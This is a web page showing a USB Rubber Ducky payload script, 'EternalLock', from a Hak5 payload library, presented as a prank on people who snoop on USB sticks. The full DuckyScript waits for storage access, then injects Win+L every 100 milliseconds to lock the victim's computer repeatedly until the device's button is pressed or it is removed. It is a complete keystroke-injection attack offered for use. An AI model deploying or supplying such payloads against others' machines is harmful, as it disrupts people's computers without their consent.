Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
hak5
GitHub Repository: hak5/usbrubberducky-payloads
Path: blob/master/payloads/library/prank/EternalLock/payload.txt
2968 views
1
REM EternalLock
2
REM Version 1.0
3
REM OS: Windows / Unix
4
REM Author: 0i41E
5
REM Requirement: DuckyScript 3.0
6
REM A lil' prank for all the ones snooping on your usb sticks. This will lock the machine every 100ms until the button is pressed (or ther ducky pulled out)
7
8
ATTACKMODE HID STORAGE
9
10
REM Extension DETECT_READY by Korben for best and fastest deployment
11
EXTENSION DETECT_READY
12
REM VERSION 1.0
13
14
REM USAGE:
15
REM Extension runs inline (here)
16
REM Place at beginning of payload (besides ATTACKMODE) to act as dynamic
17
REM boot delay
18
19
REM TARGETS:
20
REM Any system that reflects CAPSLOCK will detect minimum required delay
21
REM Any system that does not reflect CAPSLOCK will hit the max delay of 3000ms
22
23
REM CONFIGURATION:
24
DEFINE RESPONSE_DELAY 25
25
DEFINE ITERATION_LIMIT 120
26
27
VAR $C = 0
28
WHILE (($_CAPSLOCK_ON == FALSE) && ($C < ITERATION_LIMIT))
29
CAPSLOCK
30
DELAY RESPONSE_DELAY
31
$C = ($C + 1)
32
END_WHILE
33
CAPSLOCK
34
END_EXTENSION
35
36
REM Delay until the machine gets locked
37
DEFINE #TRIPWIRETIME 3000
38
REM Time between forced machine locks
39
DEFINE #LOCKTIME 100
40
41
WAIT_FOR_STORAGE_ACTIVITY
42
DELAY #TRIPWIRETIME
43
44
BUTTON_DEF
45
WHILE TRUE
46
ATTACKMODE STORAGE
47
END_WHILE
48
END_BUTTON
49
50
REM Lock machine until Button is pressed
51
WHILE TRUE
52
GUI l
53
DELAY #LOCKTIME
54
END_WHILE
55
56